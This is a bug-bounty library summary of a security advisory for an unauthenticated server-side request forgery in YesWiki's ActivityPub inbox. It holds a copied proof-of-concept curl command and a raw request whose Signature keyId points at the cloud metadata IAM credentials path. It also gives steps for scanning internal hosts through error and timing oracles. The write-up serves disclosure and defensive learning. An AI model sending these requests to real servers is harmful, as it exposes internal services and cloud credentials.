# YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

Unauthenticated SSRF in YesWiki's ActivityPub inbox: attacker-controlled Signature keyId URL is fetched server-side before any signature verification, reaching internal hosts and cloud metadata.

- Payout: Research
- Severity: high
- Program: YesWiki
- Found by: hash3liZer
- Disclosed: 2026-07-09
- CVE: CVE-2026-52769
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vw42-752g-5mrp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vw42-752g-5mrp
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:ssrf

**Target:** POST /api/forms/{formId}/actor/inbox ActivityPub inbox endpoint
**Root cause:** HttpSignatureService::verifySignature() parses the attacker-controlled Signature header and immediately issues an HTTP GET to the keyId URL before any cryptographic verification, allowlisting, scheme pinning or IP filtering.
**Steps:**
1. Enable ActivityPub on a Bazar form (bn_activitypub_enable='1') so isEnabled() passes.
2. Send `POST /?api/forms/1/actor/inbox` with `Content-Type: application/activity+json` and body `{}`.
3. Set header `Signature: keyId="http://127.0.0.1:9999/aws-metadata?from=ssrf",algorithm="rsa-sha256",headers="x",signature="y"`.
4. Observe HTTP 500 with `Missing public key in .../HttpSignatureService.php:103` confirming the outbound fetch reached the JSON parse stage.
5. Point keyId at internal targets (169.254.169.254 metadata, intranet panels) and use timing/error oracles to scan and enumerate.
**How found:** Code review of the public inbox route: noticed verifySignature() is invoked before any crypto check and that parse_ini_string feeds the raw Signature header straight into an httpClient GET with no validation.
**Exploitation:** Single unauthenticated HTTP request; no session, CSRF token or captcha. The server fetches the attacker-supplied keyId URL, and the resulting 500 error body leaks the exception message and stack trace including the URL, giving a timing and error oracle to probe internal services and cloud IAM metadata endpoints.
**Escalation:** Chaining the SSRF with the verbose exception/stack-trace leak turns blind requests into a semi-blind scanner; on cloud instances the metadata endpoint can yield IAM credentials.
**Insight:** When a signature-verification routine fetches a key by URL, check whether the fetch happens before verification and whether keyId is validated; public-ACL webhook/inbox routes are prime SSRF surfaces, and verbose framework error pages turn them into readable oracles.

## Proof of concept (copied exactly from the original report)

**Unauthenticated SSRF trigger via Signature keyId**

```
curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'
```

**Raw HTTP request with attacker-controlled keyId**

```
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
```

